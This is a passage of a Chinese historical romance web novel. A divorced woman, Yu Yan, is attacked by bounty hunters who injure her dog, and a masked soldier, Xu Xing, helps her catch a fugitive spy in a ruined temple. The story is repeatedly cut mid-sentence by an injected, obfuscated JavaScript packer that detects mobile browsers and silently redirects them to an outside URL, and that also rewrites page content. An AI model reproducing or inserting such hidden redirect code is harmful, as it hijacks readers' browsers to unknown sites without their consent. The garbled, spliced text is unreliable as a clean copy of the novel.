她提着空篮子，走得很慢，如意就跟在她身旁。那张有户部盖章的文条，皱巴巴地缩在她的手心里，被潮汗浸湿了，时不时被她用力捏了一下，提醒自己不是在做梦。 是真的和离了。 她和陆延仲。 想方设法想要达成的事，一下子毫无预兆地实现，她觉得自己应该高兴，提了提唇角，又想此时面前若有镜子，合该映出她半点不自然的笑。 “汪汪！” 如意狂吠起来。 一只手从阴影伸来，将她扯入狭窄昏暗的巷道，用力捂住了她的嘴。 虞嫣心头狂跳，汗毛倒竖，听见如意扑来，又被一声闷钝的敲击打开，暗巷里还有同伙。 “你快些，这狗难弄。” “晓得咧。” 浑浊粗豪的声音，像糊了层泥浆，虞嫣听过这声音，是碧涛客栈隔壁房的赏金客。 近来满城缉捕一个上了年纪的重罪逃犯，告示贴满了每条街巷。 正规客栈住宿都要登记住客的身份户籍，他们怎么敢胡作非为的？ 虞嫣挣扎得更厉害，手里被塞入了一个什么冰冰凉凉的冷硬东西。捂着她的矮壮汉嘿嘿笑了两声，“小美人别怕，你的狗碍眼得很，非得给点教训才安生。” “爷是来给你指条财路的，你今夜留个门，咱俩快活快活，手里银子就是你的。” “夜市卖果子这么辛苦，能挣几个铜板啊？” “不如伺候我。” “过些天，爷爷还有大笔银子，跟我吃香喝辣的，亏待不了你。” 朴刀敲击的声音不断，如意的叫声愈发虚弱。 虞嫣手一挥，银子朝着暗巷一边阁楼半开的窗户狠狠砸去。 “哪个王八蛋砸我的窗？！” 窗被唰地拉开，书生嗓音中气十足，透着一股花灯节只能闭门苦读的郁闷。 矮壮汉循声去看。 虞嫣趁此空档，咬了他手掌一口，想放声大喊，一阵马蹄声由远及近，真的有巡逻士兵听见动静赶来了。 “好啊你！敬酒不吃吃罚酒！” 矮壮汉甩了一下手，料不到士兵来得这样快，揪着虞嫣的衣领往墙上一掼。同伴赶来，两人先后踩着胡同尽头的几个木箱，熟练翻墙而逃。 虞嫣浑身虚软，坐在地上想喘一口气，想到如意，立刻爬起来。 如意蜷缩在几步开外，她喊了好一会儿，才晃晃悠悠地起来，它一只脚跛行，不敢着地，没走几步就栽倒在地上。 “如意？” 虞嫣手抖得不成样子，想去触碰，更怕伤着它。 余光一暗，视线里出现了一只骨节宽大、属于男人的手，毫不犹豫按上了如意的胸腹四肢，极快地检查每处关节，“断了两根肋骨，前腿或有骨裂。” 似曾相似的低醇声线，像绵柔的酒里掺了砂，有一点微哑。 好像是在哪里听过的。 虞嫣愣怔地抬眸，对上一张青面獠牙的雷王面具。 男人着黑色戎服，蹲在她身侧，身躯几乎挡住巷口所有光线。他身后有五六个士兵，清一色的绯色窄袖袍、大口袴，佩横刀，执弓箭。既不是京兆府的衙差，也不是巡逻的金吾卫。 她不熟悉别的军队编制，张了张嘴想说话。 对方藏在面具后的眼眸幽深，打断了她：“知道开宝街在哪？” “知道的。” “好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618993|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人一把抄起了如意，把它抱上了马，走之前喊了一声“长青。” “交给我吧。” 叫长青的青年应了，越众而出。 他来到她跟前询问方才的情形，以及两个赏金客的样貌。 末了，见虞嫣魂不守舍，还在担心她的黄毛犬，笑笑安抚：“开宝街的兽大夫是我们的退役兽医，治马治牛治狗，都手到擒来的。这位娘子放一百个心！” 兽大夫医馆很好找。 这么晚的时辰，开宝街上还拉开半扇门，点了灯的铺子就是。 虞嫣找到时，送如意来的军汉不见了。 如意毛茸茸的脑壳肿了个包，前腿被木板子夹起来，毛发凌乱地躺在医案上，湿漉漉的眼睛无精打采。 虞嫣把小布包攒的碎银铜钱串都倒出来，“大夫，用最好最快的药，这里银子要是不够的话，我明日再给你送过来。” 兽大夫拨了拨，只挑走几粒大的银角子，“你给我搭把手，给它敷药，完事了这狗得留我这儿，三五天内都不要挪动它。” 更夫敲响梆子，三更天快过。 虞嫣满身膏药味，疲惫地出来，不敢回碧涛客栈，走到脚底酸软才回到了蓬莱巷。 月亮恰好被浮云挡住，蓬莱巷很暗。 她凭感觉摸到了墙缝的备用钥匙，插入钥匙孔开锁，屋门却推不动。 有铁链碰撞，在冷冷细响。 她不敢置信伸手去摸索，在云散月出的冷光中，看清两个门环间串联的细铁链，发出了一声荒谬的笑。 邻家婶儿迷迷瞪瞪，被她拍门喊醒了，以为自己在做梦。 “虞姑娘你要借、借什么？” “斧头。” “借斧头做什么？” “我屋门前被锁了。” 邻家婶儿一惊，睡意消了。 “我昨日出门时还好好的。哪家魔星转世的皮小子？真是能作弄。” “不是小孩锁的，是我爹找人锁的。” “……这，为何啊？” 是啊，为何呢。 虞嫣拿到斧头，用点心篮子的棉纱布缠住了手柄，紧紧攥住，砍向了细铁链。 铁链发出令人牙酸的声音，晃动一下，依然牢固。 第二下，第三下，第四下…… 链条虽细，层层缠绕。 她如蚍蜉撼树，每一次铆足了力气的挥臂，都是徒劳。 太热了，太累了，太多倒霉事了，她很快出了汗，连眼睫都沾得湿润，模糊了视线。 “唉，虞姑娘你先别哭啊，你等我当家的回来，他力气大，你小心伤着了自个儿。要不然，你去我屋里对付一夜，先别管这个锁链了。” 擅长忍受委屈的人，不擅长听到安慰。 虞嫣不太听得进去了。 眼前越来越模糊。 她砍的好像是一道锁链，又好像是别的什么。 五年前，她以为自己嫁给良人。 溜回婚房时，不小心踢到了个铜盆，哐当一声，心跳得快跃出嗓子眼。 陆延仲抱起她，“放心，今夜哪怕动静再大，都无人来偷听。” 五年后，娇声唤陆延仲“郎君”的已换了旁人。 她手攥着一把旧斧，有家归不得，把她看得比命还重要的小狗躺在医馆里，不知要养多久才能好，养好了不知还能不能跑跳。 有好多人劝过她不要和离，不要自讨苦吃。 她错了吗？ 明明是陆延仲才是食言的那个。 虞嫣快看不清锁链的位置，手臂在一次次挥动中变得沉重，斧头快要脱手。 蓦地，一股力道扣住了她。 “让开些，等下打到你。” 那只手夺过了旧斧头，手背青筋凸起，紧绷时透出无比沉稳的力量感。 斧头挥起，寒光一凛。 锁链应声断成两截，砸落在地面。 “一把破锁链，”戴青苗獠牙樟木面具的男人转过来，“哭什么？” ——“哭什么？” ——“站稳了。”“走路别分神。” 虞嫣眨眨眼，骤然想起了她在哪里听过这把声音。 10. 第 10 章 虞嫣怔忪，忘了擦脸上的不知是泪是汗。 男人将斧头调了方向，还给隔壁婶儿。 他不开口，自有一股无声冷峻，一眼就叫原想留下来多问几句的婶儿打消了念头。 “虞姑娘，我就在隔壁，你有事喊一声啊。” “我晓得了。” 虞嫣转过身来，面向帮她打开了门的男人。 蓬莱巷深处，一队人走出来，看模样是训练有素的军士，步伐齐整，嘴上却没忍住牢骚：“哪个吃了熊心豹子胆敢谎报线索，害老子白白跑了这一趟。” “今儿还是花灯节哩。” “舟桥夜市散没散？待会儿喝酒去？” “敢情好。” 昏暗中几人黑衣黑袴，同面具男人身上的有七八分像。 原是巡逻经过，凑巧碰着她了吗？ 虞嫣拉起袖子，在额上眼下摁了几下，从小布包里摸出三串铜钱，“钱不多，军爷拿去喝杯薄酒。”就是不冲他砍断了锁链，让她今夜能安枕，如意能这么快找到兽大夫，都仰赖眼前人。 男人沉默了一会儿，套着护腕的手臂抬起，大咧咧冲她摊开掌心。 他没有拒绝。 虞嫣松了一口气，放手让铜钱串落下去，拢在他五指中显得小巧可怜。 “入夜了闭门，看见画像的人向官府报信。” “什么画像？” “墙上有贴。” 男人掏出火折子，轻而易举摘下了屋檐那头，虞嫣往日要拿灯杆才挑下的纸灯笼，点亮里头仅剩的一点灯油。光晕朦胧，虞嫣这会儿看清了，蓬莱巷每隔两户的墙下，都被贴了海捕文书。 是她在碧涛客栈门前看过的。 海捕文书上画了个独眼老叟，赏金足足一百两。 帝城很久没出过这么高的悬赏金额。 老叟年逾五十，枯瘦干瘪，不知还有力气犯什么重罪。碧涛客栈的两个赏金客，每到夜里，除了议论花楼女娘，说得最多的，就是拿到赏金要如何挥霍，似乎掌握了十拿九稳的线索。 虞嫣目送戴面具的军汉离开，回到屋内落了栓。 想了想，把两只水缸费劲地挪到一侧院墙下。 这一夜噩梦缠身。 她两次梦回那条窄巷，那只捂在她嘴上的大手，腿一蹬，踏空惊醒。 她脱口而出：“如意……” 半掩的窗扉透出冷色晨曦。 黄毛狗狗没有像往日那样，一喊就兴冲冲扑来。虞嫣呆了呆，想起来如意在开宝街的兽大夫那里，立刻掀开被子起身。 开宝街的兽医馆前冷冷清清。 兽大夫年纪大了，人老觉少，虞嫣敲门的第一声就来应，见了是她，“嘿”一声笑了，“小娘子真是，起得比树上鸟儿还早。” 虞嫣给他送了两副早上蒸的芝麻软饼，“我着急想看如意恢复得如何了。” “小娘子的狗，好命咧。”兽大夫收了饼，把她领进去。 如意还是昨日那模样躺着，不怎么敢翻身，但精神多了。 虞嫣摸摸它嘴筒子上的绒毛，冰冰凉的鼻头。 “大夫，如意要几时才能好？怎么样它才能好得快一些？” “五六个月能痊愈，头两个月尽量卧床。药我都给它用好的了，至于恢复嘛……”兽大夫想到她如此爱重一条平平无奇的小土狗，慈祥笑笑，“像人一样咯，给它吃好、喝好、睡好。” 他继续道： “我年纪大，伺候不来，你舍得花心思花银子，就来给它送吃喝。” “去皮的鸡肉、鱼肉、牛肉，蒸熟蒸烂，撕碎了给它吃，再配些南瓜粥小米粥。每隔三两天给它一碗撇掉浮油的清肉汤，一颗煮熟了压碎的鸡蛋黄。” “您老慢些说，我记下来，纸笔借我用用。” “好，好，”兽大夫耐心重复了一遍，“还有，我上头说的这些，盐、酱油、葱姜蒜等都别放，人吃的调料，五畜最好别吃。” 虞嫣手一顿，“有时候，家里吃剩的饭菜，我总给它吃……” 兽大夫笑，“哪家养土狗不是这样养？但养伤特殊时期，能仔细些就仔细些。” 去菜市口的路上，虞嫣没忍住算了一笔账。 按兽大夫说的膳食养如意，一个月得花约莫一二两银子。 给如意采买食材，做饭送饭，往返于开宝街和蓬莱巷之间，会占据她白日做糕点的一部分时间。糕点少了，进账盈利就跟着少，再算上给官府的市税和夜市摊位费。 原本她是打算再过两个月就盘个铺子的。 从陆家带出来属于她的嫁妆和私房钱、在蔡府做帮厨的酬劳、卖朝食和糕点的积攒……眼看就能够撑起一个铺面，却不得不推迟了。 虞嫣脚步一顿，拐了个方向，往更近的碧涛客栈去。 她怕再碰见赏金客被纠缠，留在的押金和两套换洗衣裳都没打算去拿，现下不一样了。 掌柜听她说明来意，立刻啪嗒啪嗒地拨算盘，一边结算押金，一边道：“昨夜儿没见娘子回来，三楼那俩人也没有跟着回来，可把那小子愁坏了，一早上就来我这叨叨，被我支去搬货了。我就说嘛，身份和户籍都是白纸黑字写清楚的，出不了大事。” 掌柜说的那小子，便是她经常投喂糕点的跑堂伙计小哥。 虞嫣心里一暖，拿了押金，拜托掌柜转达她平安的消息，走出了碧涛客栈，路上时不时回头看，烈烈骄阳当空照，把行人晒得面有菜色，像脱水卷边的绿叶子。 街上人人奔忙，无人留意她，无人尾随她。 她轻轻地呼出一一口气，去了一趟菜市口，才回到蓬莱巷。 那两人应当不知道她住在哪里。 没错，肯定不知道。 艳阳高照下的这份笃定与心安，随着乌金西坠，暮色四合，无声无息散了。 更夫敲响了第一更铜锣，昭示入夜。 虞嫣被吓得一颤，检查了第三遍院门的门栓。待沐浴过后，她没有换寝衣，而是套上了能够外穿的衣衫布裙，就这么躺上了床。枕头底下，还垫了一把剪刀。 没有如意的夜晚，任何动静都放得极大。 隔壁婶儿和晚归的丈夫在吵架，怪他“挣了钱不知道拿回家！” 厨房窗格挂了两串干蒜，风一吹，碰得微微响。 车轮子轱轱辘辘地经过她院外，不知是巷子里头做什么买卖的人从夜市收摊了。 虞嫣睡不着，脑海里演练了三四种被歹人翻墙入室的应对办法。 始终觉得，最重要是能大喊出声，能闹出动静来。 外祖家左边是婶儿，是她小时候就熟悉的，嗓门大脾气急，但心肠很热。 右边……右边本来是个整天酗酒赌钱，动不动就打骂他儿子的铁匠，后来铁匠死了，他家里唯一的儿子不知影踪，她从脱离陆家第一日回来，就没见右边邻居的门开过了。 此外，对面的几户都算眼熟。 巷道里家家户户挨得紧凑，有事儿喊一声，就能来支应。 虞嫣迷迷蒙蒙，似睡非睡，不知时辰几何，心跳忽地乱了起来。 “笃。” “笃笃。” “笃笃笃。” 越来越清晰，越来越规律的声音，不是蒜串撞在窗格上，是有人在敲她的院门。 她翻身坐起来，摸到一面一敲就哐当哐当响的旧铜锣。 是外祖父年轻时候在军巡铺子当差留下的。 虞嫣趿拉绣鞋，带着铜锣来到院门后。 “是我。” 门外人好像听见了她鬼鬼祟祟的脚步，率先出了声儿。 虞嫣脑海里浮现了一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虞姑娘的狗养很久了？” “养了半个月。” 徐行意外：“半个月这么看重？” 虞嫣攥在他护臂上的手紧了紧，“养家里半个月，街上日日喂，喂了三四年。” 陆家不喜欢猫猫狗狗。 虞嫣喜欢，她总在街上看见如意和别的小狗来来回回地玩耍，那么多狗，就它骨架最大却是最瘦的，因为如意打架打不赢，抢食抢不过，还总会把食物让给比它小的狗，最后才凑上去吃。 从前，她外祖家也养了一条跟如意相貌差不多的小土狗。 小土狗没有如意乖，简直是个闯祸精。 外祖父怕它被吃狗肉的拐了去，时常关在家里，它愣是从两家墙根下刨出个狗洞来，钻到了隔壁铁匠家，再从铁匠家常年敞开的门户溜出去。 铁匠脾气坏，每逢见了，都要破口大骂。 狗洞封了一个，小土狗又挖了第二个…… 虞嫣想得远了。 玄马四蹄一跃，避过地上土坑，失重感让她小小惊呼，整个人贴上了身后人的胸膛。她颊边像被点了火，无声烧了起来，正要慢慢调整姿势，把自己挪开去。 偏偏身后人说话了，“真不怕我把你卖了？” 说话时的胸腔微震，顺着她后背传递，仿佛有小蚂蚁在爬。 虞嫣抿了抿唇。 悄悄地，自认为不着痕迹地挪开。 徐行只觉得怀中馨香远了寸许。 就在他以为虞嫣不会回答时——“绿豆汤，好喝吗？” 徐行笑意更深，催促马儿跑得更快，“不记得了。” 11. 第 11 章 约莫过了两刻钟。 虞嫣被带到了城北一处破旧的道观。 道观的匾额歪斜，外墙朱漆脱落，人还未入内，光是站在殿外石阶，就闻到了夜风里尘土、枯木与落叶混杂的气息。正殿的门半开半合，糊着发黄的符箓，朱砂早就褪尽了颜色。 虞嫣脚步慢下来，她在帝城土生土长，从来没听说过这家道观。 “怕了？” “觉得好像……地下镇压了什么妖魔鬼怪。” “也没说错。” 徐行推开殿内虚掩的门，先一步走入。 月光朦胧照入。 殿内反而比外头更明亮，香几与残缺塑像的轮廓都清晰可见。两人来到角落放功德箱的地方，徐行撩起垂到地面的幡布，示意她躲到案台底下。虞嫣钻进去，下一刻，他跟着进来。 这是个很逼仄的空间。 幡布拂动浮尘，木头的腐朽味连同他身上存在感强烈的气息钻入虞嫣的呼吸里。 她咳嗽起来。 男人手指拢在她尖尖的下颔，指腹在她唇上极快地压了一下，“嘘。” 虞嫣安静起来。 与此同时，有什么人朝着殿内走来。来人一高一矮，腰间朴刀斜插，在地上拖出长长的倒影。不是碧涛客栈的那两个赏金客又是谁。 其中一人难掩狂喜： “银子还不少，加上赏金，老子打打杀杀这么多年，总算是熬出头了！干完这票，娶个婆娘买个宅子，生他十个八个小娃娃，过过做大老爷的瘾，哈哈哈哈！” “……” “天一亮就去领赏，出来去天香楼喝一顿，醉死了才够痛快！老赵你说是不是？” “……” “喂，老赵？！你想什么呢？三棍子打不出一个屁来。” 虞嫣记得清楚，身旁人对她说过： ——“打伤狗的人，一个叫张彪，一个叫赵虎。” 一路沉默，兴致远远不如张彪高涨的人是赵虎。他手里提了一包东西，“哐”一下丢在香几上，沉甸甸的，“这老头儿没骗我们，树下真的埋了这么多银子。” “哼，命就捏在咱哥俩手里，吃了熊心豹子胆才敢撒谎。” 赵虎没接这话茬，“要不，别把他送给官府。” 张彪不可置信：“你信他？信他后边说的那些鬼话？” “为何不信？树底下藏的银子是真的。” “他就是想诓我俩给他保命呢，什么带我俩去边境发大财？他是想要逃到边境去，一个半截身子埋入土的老头，一没杀人二没放火，官府抓他做什么你不想想？还非得花大价钱要活捉。” “你什么意思？” “那老头是个吃里扒外的，帮大邬国来坑害咱们的细作！狗日的！我现在把他拉出来，当面给你问清楚，省得你鬼迷日眼地瞎琢磨，到手的富贵都要飞了！” 张彪一把将赵虎推开，奔到金身塑像前的香炉案前，两手搬开红木案，露出底下的地砖来。 朴刀出鞘，刀尖插入两块地砖的间隙。 用力一撬，地室黑洞洞的入口露出来。 赵虎直勾勾地看。 地下室的入口狭窄，只允许一人进出，不一会儿，一道瘦条条的佝偻黑影先冒了出来。 张彪的声音被拘在地下深深处，闷得像蒙上了软布的铜锣，“老赵，快搭把手，拉他上去！里头通风不够，这贼老头儿快憋死了。死了咱可没钱拿。” 赵虎伸长了手臂，把老叟拉上来，另一手慢慢地，慢慢地解下了腰间的朴刀。 张彪的脑袋从他脚下冒出来。 他高举手臂，铆足了劲。 钝器击打肉骨，发出闷响，张彪直挺挺地，往后栽倒，摔落的声音被地下室吞没。 赵虎丢了朴刀，搬起地砖压回入口，再搬来所有目之所及的重物，死死压在上头。 被拉出来的干瘪老头没跑，盘腿坐在地上，呼哧呼哧喘着来之不易的清气，喉头声音不知是笑是嘲，“你没听见你兄弟说话？我……咳咳……没准是细作。” 那声音像是漏风的百褶灯笼，被割成一道一道。 “我不在乎，百八十两的富贵叫什么富贵，眨眨眼就撒出去了。”赵虎把刀重新别在腰上，“你要敢食言，把你剜了丢洪湖里。” 老头儿哧哧笑起来。 独眼老头儿被反绑的手松开，俩人就要走了。 身侧的男人毫无动静，虞嫣一转头，那张雷王面具近在咫尺，长眸里隐隐有神，一动不动地打量她，不知在想什么。她没忍住拍了一下他的护臂。 男人声音微哑：“别催。” 他这一句没压声音，大咧咧的，清晰地传到了殿内二人的耳朵里。 虞嫣一惊。 随即就看到他低头钻了出来，灵活蜷缩的身躯，霎时被拔高成一道高墙似的阴影，挡在她和殿内两人之间。 他将幡布一扯，一压。 虞嫣眼前昏暗下来，什么都看不见，鼻尖又盈满惹人呛咳的浮尘。她捂着口鼻咳，听见赵虎冷声问“什么人？”，还听见了拳脚相交，台凳翻倒。 有人发出了声音走调的痛呼，一时竟分辨不出到底是属于谁的。 赏金客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618995|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跑江湖的，身手看起来很利索，如意站起来有半人高，那夜在窄巷子却没能让他们哪个挂彩。虞嫣摸出了藏在身上的一把袖珍匕首，深呼吸两次。 她很怕看见打架。 但这不是躲起来就能了事的。 她一把掀开幡布，愣住了。 赵虎倒在地上，昏迷不醒，朴刀被丢在了一旁。看来走两步都费劲的枯瘦老头，正高高举起香炉，要从徐行身后砸来，被偷袭的人却只看她。 “还没完……” “小……” 话语撞在一起。 男人重心倏尔□□，肩背沉转，在香炉擦着他肩胛骨掠过的下一瞬，出手如电，反扣对方手腕，香炉“哐”一声落地。老头被他踢中胫骨，踉跄着落地。 男人左膝压制对方腰腹，右手锁着他手腕触地，转过头来向她道：“绳子递给我。” 一整套动作，不过是虞嫣呼吸之间。 她环顾一圈，仔细分辨，拾起地上一根粗麻绳给他，看男人三两下将挣扎不断的老头和昏迷的赵虎绑在了一起，拍了拍手上不慎沾染的香灰。 “虞姑娘出了道观，往西走约莫两百步有个岗哨，找一个叫魏长青的人，要是不在，沿着西边继续走，总能碰到。” 虞嫣一愣。 “就是昨日留下来询问你线索的，生得浓眉大眼……” “我记得，是方阔的娃娃脸，小麦皮肤，眼睛很黑很亮，笑起来右边有个酒窝的小哥？” 魏长青身上有一股介乎于少年青涩与青年刚劲之间的朝气，让人一见了就觉得亲切，生得很像她娘家的一个表弟。他还安慰她，说如意一定会没事的。 男人沉默了一下。 “不是酒窝。” “什么？” “你去找他，说碰见了逃犯线索，再带人来这里。京兆府的赏金，至多三日送到蓬莱巷。” “送到……我家里？” “小黄狗的汤药费，不想要了？” 当然想要！ 可无功不受禄，虞嫣连对方姓甚名谁都不知道。 “为何要帮我……帮如意出气？” “我看这两人不顺眼。” 黑色戎服的军汉站在那里，宽肩窄腰，轮廓悍然，一只乌靴头踩了踩还在昏迷中的赵虎。 虞嫣没有被说服，还停在原地。 男人短促笑了下，“当兵的能挣几两碎银？” 他的脚收回来，单手一撑，坐上了残破塑像座下的平台，长腿垂着，“起早贪黑配合衙门，抓了又不涨月饷，虞姑娘去领赏金，回头我们五五。” 12. 第 12 章 这是个足以说服虞嫣的理由。 她动了动，往殿门走去，走之前回头看了一眼。 男人的姿态有了几分吊儿郎当的放松，那张雷王面具偏了偏，“还不走，怕黑吗？” 虞嫣摇头，拎起裙裾小跑了出去。 今夜不黑，疏云朗月，把道观外的路况照得一清二楚。 她大步跑起来，远远地，看见了那个要找的岗哨，然而并没有眼熟的兵小哥在。 “什么人？干嘛的？站住！” 一声喝令，先于她抵达岗哨处，右边大街出来一队巡逻人马，看模样是与长青小哥隶属同一个军营的，为首的武官看来品阶颇高，身着暗红镶边的轻甲，腰系勒甲绦。 虞嫣朝岗哨那边观望，还是没看到魏长青。 道观正殿内。 徐行默然等待，呼吸吐纳间，除了尘埃的闷，仿佛还萦绕虞嫣身上的气息。 一种让他觉得放松的清香。 被他捏晕的老头悠悠转醒，看清楚形状后，反而不再挣扎了，一双眼皮耷拉的三角眼幽幽：“我运道不好，差一点就能成事了。” “你是军营里的，都打过哪些战？” “禁军驻地五年一轮换，去过西北没有？” 这话惹得徐行一瞥。 老叟忍不住带上得意，嘶哑破碎的声音桀桀桀笑起来，“西北那边打得血流成河，每次战机一出，敌人总是能提早设伏，你们没想过为什么吗？” “因为像我这样不起眼的棋子，埋伏在你们疆土上，还有千千万万颗。” “只要真正的棋手还稳稳当当，我们大邬国……” 声音戛然而止。 老头衣襟被徐行一把揪起来，一张脸憋得涨红，快要窒息得说不出话，殿外传来了虞嫣的声音和更多脚步声，“军爷，就是这里，他们就在里头，一共有三个人。” “你先进去，带路。” 这么快？ 徐行眯眼，听出不是魏长青的声音，甚至不是他从西北带回来的任何一个人。 是同他一直不对付的副指挥戴锦平。 泄露军情的罪犯逃跑了，朝廷要求龙卫军抽调精锐，协助金吾卫和京兆府抓人，戴锦平近来除了在军营做些小动作，就是想抢在他的人前头把人抓到，把功劳揽在身上。 徐行不在意这份功劳，但虞嫣需要这笔赏金。 他皱皱眉，手掌攀上逃犯的颈脖，用力一捏，确定老头瘫软下去，再悄无声息地跃起，藏身到了塑像后头，让随风飘荡的六角幢幡遮住身形。 虞嫣先走了进来。 随即是戴锦平和几个亲兵，其中两个举着火把，把殿内照得亮，人与物的黑影一道道乱晃。 “你说的地下室，在哪里？” “那儿。” 虞嫣伸手指，同亲兵解释如何找到入口并打开，不一会儿，底下满头是血、气若游丝的张彪被亲兵背了出来。 戴锦平还没空管张彪。 独眼老叟画像贴得满城都是。 他早就一眼认出来了地上瘫软的人，蹲下拨开他面上的乱发再确认。是他！踏破铁鞋无觅处，得来全不费工夫。 他不禁心头一喜。 亲兵问他：“平哥，这两人怎么处置？” 戴锦平转头，嫌恶地看了看两个赏金客，“收了贿赂，有包庇通敌的嫌疑，天亮了丢到京兆府门口。”说罢转向了虞嫣，“确实是官府通缉的人。姑娘叫什么名？家在哪条街，哪一户？” 虞嫣面露犹豫。 “不是我非要探听，你不老实说，赏金就拿不到。” “我姓虞，家在蓬莱巷往里走，右边倒数第三家，门下挂了一只灯笼的。” 戴锦平上下打量她，“蓬莱巷这么远，你深更半夜来到这破旧道观做什么？你说地下室里头破血流的那个是内讧导致，地上这俩人是谁制服的？你总不能会武功吧？” 他话落，几个亲兵跟着笑起来。 虞嫣目光越过戴锦平，看向黑袍男人之前坐的神台，那里已没有了那道沉默身影。 “不能是我制服的吗？” “这打结手法一看就是军中的。虞姑娘，往常悬赏是抓了人就能放赏的，此人所犯之罪，事关机密，由不得我不多问，你要是不配合……” 戴锦平话音冷起来，几个亲兵跟着收了笑嘻嘻的神色。 徐行正要现身，听得虞嫣说了一句：“这是手铐结，越挣扎越收紧。” 戴锦平一默，“你知道？” “不瞒戴指挥，我外祖父从前是军巡铺子当差的，他有教过我，但人的确不是我一人制服的。我……我同相好约在道观里头，正撞上了这伙人内讧，他认出来是逃犯，就把人制服了。” “你相好呢？” “要是能透露身份，与我光明正大地，我与他何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618996|187784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必在这里相见。” 虞嫣这一句，把她为何出现在这里也解释清楚了。 不然一个姑娘家，哪里敢贸贸然半夜前来这么渗人的地方。 戴锦平对探听别人家的风流韵事没兴趣，对水性杨花的女人更没有。 他颇为倒胃口地摆了摆手，“等京兆府上门，你走吧。” 虞嫣如释重负，离开的时候比去找岗哨时还跑得快。 像一团浓墨晕在湿润的纸上，天际最边缘露出了浅白。 虞嫣一口气跑到了主街上，已有零星路人走动。 这里来回巡逻的军士更多，塔楼灯火和武候铺更密集，相对安全的地方。 唯一的问题是，此地距离蓬莱巷太远了，没有一处街景是熟悉的。 她只能凭着日出辨认方向，慢慢地走。 撒谎骗戴锦平时，后耳根烧起来的烫还没消下去。 自打从陆家出来，她好像总在做出格的事，说出格的话，要是外祖父知道了……虞嫣摇头，想要把那点后知后觉的羞愧从脑袋里晃出去。她要脱离陆家，或许还有虞家，去做真正想做的事情，流言蜚语只会多，不会少。 会习惯的，慢慢来就好。 虞嫣握起拳头，敦促自己一点一点呼吸，身后忽然有马蹄声。她错愕地回头，对上了一张熟悉的面具，“你不是……走了吗？” “躲起来了。” 男人控马，贴近她，居高临下地朝她伸出了手，“上来。” 虞嫣借力踩上马镫，这次跨坐到了他身后。 玄马跑到起来，男人默不作声，她没忍住，还是问出了口。 “方才躲在哪里了？” “……塑像后头。” 原本只是烧在虞嫣耳后根的那团火，一下子燎到了她面颊上，她掀起眼皮，越过黑色戎服勾勒的宽阔肩头去看，只看到对方的后脑勺。 还好是在他身后。 她抿了抿唇，喉咙略微干涩。 “我跑出去，还没找到长青小哥，就被他们拦下来盘问……刚才不得已……” “反应很快。” 男人沉声打断了她的解释，“做得很好。” 像是秋冬清晨，用热水泡过的棉帕子擦脸的感觉。 面上还是热的，但心头安定轻盈起来，她谨慎地扶着马鞍后鞒的手，轻轻地朝前伸，拽住了他的戎服下摆，“你叫什么名字？” 13. 第 13 章 “徐行。” 身前男人吐出两个字，“双人徐，双人行。” “那我怎么称呼，徐大哥？” “别这么喊。” 男人向来果断的语气难得透出无奈。 虞嫣攥他戎服下摆的手紧了紧，“我不知道你多大，是听声音猜的。” “是比你大上几岁，但是喊名字。” “好，我记住了。” “喊。” 声线低醇的一字有如实质，从她耳朵里钻进去，变成了轻飘飘的羽毛。 虞嫣忍着那股去揉一揉耳朵的冲动，酝酿了一下，“徐行。” 徐行很随意地应了，虞嫣想到了他坐在残破神像下的模样。 “我这几日都会待在家里等京兆府的人上门，但之后不一定时时刻刻都在，你要来拿赏金的话，戌时到亥时来舟桥夜市找我，我在有红金色幡子的那一排。” “好。” 晨雾散尽，东方亮出橘粉霞光。 蓬莱巷到了。 虞嫣小心地下马，徐行看着她走进去。 东边一家的屋门 “吱呀” 次第响，西边公用的井台木桶碰撞，有妇人捣衣槌“嗒嗒”敲出水声，远处叫卖早点的吆喝和摇铃交错，属于蓬莱巷居民的一天，才刚要开始。 徐行不曾看一眼隔壁他住过的空屋，马头一勒就走了。 十八岁之前的每一个日夜，他都在这里度过。 这里的每一处坎坷，每一隅热闹都与他记忆里别无二致，让他烦躁，除了虞嫣。 她不记得他的名字，不知道徐行。 因为他没有名字。 